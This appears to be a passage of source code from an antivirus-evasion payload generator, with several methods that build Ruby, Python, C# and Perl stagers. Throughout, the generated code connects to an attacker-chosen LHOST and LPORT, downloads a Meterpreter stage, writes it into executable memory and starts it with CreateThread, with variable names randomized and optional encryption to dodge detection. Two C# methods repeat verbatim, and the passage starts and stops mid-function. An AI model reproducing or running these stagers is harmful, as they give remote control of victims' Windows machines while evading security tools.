if self.required_options["HOSTNAME"][
0] != "X" or self.required_options["DOMAIN"][0] != "X":
payload_code += 'require \'socket\'\n'
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate out variable names
payloadName = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
threadName = evasion_helpers.randomString()
valloc_random = evasion_helpers.randomString()
rtlmove_random = evasion_helpers.randomString()
createthread_random = evasion_helpers.randomString()
waitfor_random = evasion_helpers.randomString()
heapcreate_random = evasion_helpers.randomString()
heapalloc_random = evasion_helpers.randomString()
heap_name = evasion_helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n"
payload_code += "def g(ip,port)\n"
payload_code += "\tbegin\n"
payload_code += "\t\ts = TCPSocket.open(ip, port)\n"
payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n"
payload_code += "\t\tp = \" \"\n"
payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n"
payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n"
payload_code += "\t\tsd = $g_o.call(s.fileno)\n"
payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n"
payload_code += "\t\treturn p\n"
payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n"
payload_code += "def ij(sc)\n"
payload_code += "\tif sc.length > 1000\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n"
payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n"
payload_code += "\tend\nend\n"
payload_code += "ij(g(\"%s\",%s))\n" % (
self.required_options["LHOST"][0],
self.required_options["LPORT"][0])
# Close out all the if statements
for iteration in range(num_ends_required):
payload_code += 'end\n'
self.payload_source_code = payload_code
return
def generate(self):
# randomize everything, yo'
sumMethodName = evasion_helpers.randomString()
checkinMethodName = evasion_helpers.randomString()
randLettersName = evasion_helpers.randomString()
randLetterSubName = evasion_helpers.randomString()
randBaseName = evasion_helpers.randomString()
downloadMethodName = evasion_helpers.randomString()
hostName = evasion_helpers.randomString()
portName = evasion_helpers.randomString()
requestName = evasion_helpers.randomString()
tName = evasion_helpers.randomString()
injectMethodName = evasion_helpers.randomString()
dataName = evasion_helpers.randomString()
byteArrayName = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
bufName = evasion_helpers.randomString()
handleName = evasion_helpers.randomString()
data2Name = evasion_helpers.randomString()
proxy_var = evasion_helpers.randomString()
opener_var = evasion_helpers.randomString()
randctypes = evasion_helpers.randomString()
# How I'm tracking the number of nested tabs needed
# to make the payload
num_tabs_required = 0
payload_code = "import urllib.request, string, random, struct, time, ssl, ctypes as " + randctypes + "\n"
payload_code2, num_tabs_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# helper method that returns the sum of all ord values in a string % 0x100
payload_code += '\t' * num_tabs_required + "ssl._create_default_https_context = ssl._create_unverified_context\n"
payload_code += '\t' * num_tabs_required + "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" %(sumMethodName)
# method that generates a new checksum value for checkin to the meterpreter handler
payload_code += '\t' * num_tabs_required + "def %s():\n" %(checkinMethodName)
payload_code += '\t' * num_tabs_required + "\tfor x in range(64):\n"
payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" %(randBaseName)
payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" %(randLettersName)
payload_code += '\t' * num_tabs_required + "\t\tfor %s in %s:\n" %(randLetterSubName, randLettersName)
payload_code += '\t' * num_tabs_required + "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" %(sumMethodName, randBaseName, randLetterSubName, randBaseName, randLetterSubName)
# method that connects to a host/port over https and downloads the hosted data
payload_code += '\t' * num_tabs_required + "def %s(%s,%s):\n" %(downloadMethodName, hostName, portName)
payload_code += '\t' * num_tabs_required + "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n"
payload_code += '\t' * num_tabs_required + "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n"
payload_code += '\t' * num_tabs_required + "\turllib.request.install_opener(" + opener_var + ")\n"
payload_code += '\t' * num_tabs_required + '\t' + requestName + " = urllib.request.Request(\"https://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n"
payload_code += '\t' * num_tabs_required + "\ttry:\n"
payload_code += '\t' * num_tabs_required + "\t\t%s = urllib.request.urlopen(%s)\n" %(tName, requestName)
payload_code += '\t' * num_tabs_required + "\t\ttry:\n"
payload_code += '\t' * num_tabs_required + "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" %(tName, tName)
payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n"
payload_code += '\t' * num_tabs_required + "\t\texcept: return %s.read()\n" % (tName)
payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError: return ''\n"
# method to inject a reflective .dll into memory
payload_code += '\t' * num_tabs_required + "def %s(%s):\n" %(injectMethodName, dataName)
payload_code += '\t' * num_tabs_required + "\tif %s != \"\":\n" %(dataName)
payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" %(byteArrayName, dataName)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n"
payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n"
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n"
payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n"
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n"
# Assuming heap injection
else:
HeapVar = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n'
# download the metpreter .dll and inject it
payload_code += '\t' * num_tabs_required + "%s = ''\n" %(data2Name)
payload_code += '\t' * num_tabs_required + "%s = %s(\"%s\", %s)\n" %(data2Name, downloadMethodName, self.required_options["LHOST"][0], self.required_options["LPORT"][0])
payload_code += '\t' * num_tabs_required + "%s(%s)\n" %(injectMethodName, data2Name)
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
# randomize all of the variable names used
shellCodeName = evasion_helpers.randomString()
socketName = evasion_helpers.randomString()
getDataMethodName = evasion_helpers.randomString()
fdBufName = evasion_helpers.randomString()
rcvStringName = evasion_helpers.randomString()
rcvCStringName = evasion_helpers.randomString()
injectMethodName = evasion_helpers.randomString()
tempShellcodeName = evasion_helpers.randomString()
shellcodeBufName = evasion_helpers.randomString()
fpName = evasion_helpers.randomString()
tempCBuffer = evasion_helpers.randomString()
randctypes = evasion_helpers.randomString()
payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n"
# How I'm tracking the number of nested tabs needed
# to make the payload
num_tabs_required = 0
payload_code2, num_tabs_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# socket and shellcode variables that need to be kept global
payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % (
shellCodeName, socketName)
# build the method that creates a socket, connects to the handler,
# and downloads/patches the meterpreter .dll
payload_code += '\t' * num_tabs_required + "def %s():\n" % (
getDataMethodName)
payload_code += '\t' * num_tabs_required + "\ttry:\n"
payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" % (
socketName)
# build the socket and connect to the handler
payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" % (
socketName)
payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" % (
socketName, self.required_options["LHOST"][0],
self.required_options["LPORT"][0])
# pack the underlying socket file descriptor into a c structure
payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack('<i', %s.fileno())\n" % (
fdBufName, socketName)
# unpack the length of the payload, received as a 4 byte array from the handler
payload_code += '\t' * num_tabs_required + "\t\tl = struct.unpack('<i', %s.recv(4))[0]\n" % (
socketName)
payload_code += '\t' * num_tabs_required + "\t\t%s = b\" \"\n" % (
rcvStringName)
# receive ALL of the payload .dll data
payload_code += '\t' * num_tabs_required + "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % (
rcvStringName, rcvStringName, socketName)
payload_code += '\t' * num_tabs_required + "\t\t" + rcvCStringName + " = " + randctypes + ".create_string_buffer(%s, len(%s))\n" % (
rcvStringName, rcvStringName)
# prepend a little assembly magic to push the socket fd into the edi register
payload_code += '\t' * num_tabs_required + "\t\t%s[0] = binascii.unhexlify('BF')\n" % (
rcvCStringName)
# copy the socket fd in
payload_code += '\t' * num_tabs_required + "\t\tfor i in range(4): %s[i+1] = %s[i]\n" % (
rcvCStringName, fdBufName)
payload_code += '\t' * num_tabs_required + "\t\treturn %s\n" % (
rcvCStringName)
payload_code += '\t' * num_tabs_required + "\texcept: return None\n"
# build the method that injects the .dll into memory
payload_code += '\t' * num_tabs_required + "def %s(%s):\n" % (
injectMethodName, tempShellcodeName)
payload_code += '\t' * num_tabs_required + "\tif %s != None:\n" % (
tempShellcodeName)
payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" % (
shellcodeBufName, tempShellcodeName)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
# allocate enough virtual memory to stuff the .dll in
payload_code += "\t\t" + fpName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + shellcodeBufName + "))," + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n"
# virtual lock to prevent the memory from paging out to disk
payload_code += "\t\t" + tempCBuffer + " = (" + randctypes + ".c_char * len(" + shellcodeBufName + ")).from_buffer(" + shellcodeBufName + ")\n"
# copy the .dll into the allocated memory
payload_code += "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + fpName + "), " + tempCBuffer + ", " + randctypes + ".c_int(len(" + shellcodeBufName + ")))\n"
# kick the thread off to execute the .dll
payload_code += "\t\tht = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + fpName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n"
# wait for the .dll execution to finish
payload_code += "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(ht)," + randctypes + ".c_int(-1))\n"
# Assume HEAP Injection
else:
HeapVar = evasion_helpers.randomString()
handleName = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + shellcodeBufName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + fpName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + shellcodeBufName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + tempCBuffer + ' = (' + randctypes + '.c_char * len(' + shellcodeBufName + ')).from_buffer(' + shellcodeBufName + ')\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + fpName + '),' + tempCBuffer + ',' + randctypes + '.c_int(len(' + shellcodeBufName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + fpName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n'
# download the stager
payload_code += '\t' * num_tabs_required + "%s = %s()\n" % (
shellCodeName, getDataMethodName)
# inject what we grabbed
payload_code += '\t' * num_tabs_required + "%s(%s)\n" % (
injectMethodName, shellCodeName)
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
getDataName = helpers.randomString()
injectName = helpers.randomString()
payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n"
payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString())
hostName = helpers.randomString()
portName = helpers.randomString()
ipName = helpers.randomString()
sockName = helpers.randomString()
length_rawName = helpers.randomString()
lengthName = helpers.randomString()
sName = helpers.randomString()
total_bytesName = helpers.randomString()
handleName = helpers.randomString()
payload_code += "static byte[] %s(string %s, int %s) {\n" %(getDataName, hostName, portName)
payload_code += " IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" %(ipName, hostName, portName)
payload_code += " Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" %(sockName)
payload_code += " try { %s.Connect(%s); }\n" %(sockName, ipName)
payload_code += " catch { return null;}\n"
payload_code += " byte[] %s = new byte[4];\n" %(length_rawName)
payload_code += " %s.Receive(%s, 4, 0);\n" %(sockName, length_rawName)
payload_code += " int %s = BitConverter.ToInt32(%s, 0);\n" %(lengthName, length_rawName)
payload_code += " byte[] %s = new byte[%s + 5];\n" %(sName, lengthName)
payload_code += " int %s = 0;\n" %(total_bytesName)
payload_code += " while (%s < %s)\n" %(total_bytesName, lengthName)
payload_code += " { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" %(total_bytesName, sockName, sName, total_bytesName, lengthName, total_bytesName, lengthName, total_bytesName)
payload_code += " byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" %(handleName, sockName)
payload_code += " Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" %(handleName, sName, sName)
payload_code += " return %s;}\n" %(sName)
sName = helpers.randomString()
funcAddrName = helpers.randomString()
hThreadName = helpers.randomString()
threadIdName = helpers.randomString()
pinfoName = helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName)
payload_code += " if (%s != null) {\n" %(sName)
payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName)
payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName)
payload_code += " UInt32 %s = 0;\n" %(threadIdName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName)
payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName)
payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName)
payload_code += " if (%s != null) {\n" %(sName)
payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName)
payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName)
payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName)
payload_code += ' UInt32 {} = 0;\n'.format(threadIdName)
payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName)
payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName)
sName = helpers.randomString()
curlyCount = 0
payload_code += "static void Main(){\n"
payload_code2, curlyCount = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
payload_code += " byte[] %s = null; %s = %s(\"%s\", %s);\n" %(sName, sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0])
payload_code += " %s(%s); }\n" %(injectName, sName)
while (curlyCount != 0):
payload_code += '\t' * curlyCount + '}'
curlyCount -= 1
# get 12 random variables for the API imports
r = [helpers.randomString() for x in range(12)]
y = [helpers.randomString() for x in range(17)]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11])
elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16])
if self.required_options["USE_ARYA"][0].lower() == "y":
payload_code = encryption.arya(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
getDataName = helpers.randomString()
injectName = helpers.randomString()
payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n"
payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString())
hostName = helpers.randomString()
portName = helpers.randomString()
ipName = helpers.randomString()
sockName = helpers.randomString()
length_rawName = helpers.randomString()
lengthName = helpers.randomString()
sName = helpers.randomString()
total_bytesName = helpers.randomString()
handleName = helpers.randomString()
payload_code += "static byte[] %s(string %s, int %s) {\n" %(getDataName, hostName, portName)
payload_code += " IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" %(ipName, hostName, portName)
payload_code += " Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" %(sockName)
payload_code += " try { %s.Connect(%s); }\n" %(sockName, ipName)
payload_code += " catch { return null;}\n"
payload_code += " byte[] %s = new byte[4];\n" %(length_rawName)
payload_code += " %s.Receive(%s, 4, 0);\n" %(sockName, length_rawName)
payload_code += " int %s = BitConverter.ToInt32(%s, 0);\n" %(lengthName, length_rawName)
payload_code += " byte[] %s = new byte[%s + 5];\n" %(sName, lengthName)
payload_code += " int %s = 0;\n" %(total_bytesName)
payload_code += " while (%s < %s)\n" %(total_bytesName, lengthName)
payload_code += " { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" %(total_bytesName, sockName, sName, total_bytesName, lengthName, total_bytesName, lengthName, total_bytesName)
payload_code += " byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" %(handleName, sockName)
payload_code += " Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" %(handleName, sName, sName)
payload_code += " return %s;}\n" %(sName)
sName = helpers.randomString()
funcAddrName = helpers.randomString()
hThreadName = helpers.randomString()
threadIdName = helpers.randomString()
pinfoName = helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName)
payload_code += " if (%s != null) {\n" %(sName)
payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName)
payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName)
payload_code += " UInt32 %s = 0;\n" %(threadIdName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName)
payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName)
payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName)
payload_code += " if (%s != null) {\n" %(sName)
payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName)
payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName)
payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName)
payload_code += ' UInt32 {} = 0;\n'.format(threadIdName)
payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName)
payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName)
sName = helpers.randomString()
curlyCount = 0
payload_code += "static void Main(){\n"
payload_code2, curlyCount = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
payload_code += " byte[] %s = null; %s = %s(\"%s\", %s);\n" %(sName, sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0])
payload_code += " %s(%s); }\n" %(injectName, sName)
while (curlyCount != 0):
payload_code += '\t' * curlyCount + '}'
curlyCount -= 1
# get 12 random variables for the API imports
r = [helpers.randomString() for x in range(12)]
y = [helpers.randomString() for x in range(17)]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11])
elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16])
if self.required_options["USE_ARYA"][0].lower() == "y":
payload_code = encryption.arya(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
# How I'm tracking the number of nested tabs needed
# to make the payload
num_ends_required = 0
payload_code = "use Win32::API;\n"
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate variable names
shellcode_variable = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
rand_valloc = evasion_helpers.randomString()
rand_movemem = evasion_helpers.randomString()
rand_cthread = evasion_helpers.randomString()
rand_waitfor = evasion_helpers.randomString()
rand_heapcreate = evasion_helpers.randomString()
rand_heapalloc = evasion_helpers.randomString()
rand_thread = evasion_helpers.randomString()
rand_protect = evasion_helpers.randomString()
protect_out = evasion_helpers.randomString()
payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % (shellcode_variable, Shellcode)
payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n"
payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n"
payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n"
payload_code += '\t' * num_ends_required + "$" + rand_protect + " = new Win32::API('kernel32', 'VirtualProtect', 'PIIP', 'I');\n"
payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x04);\n"
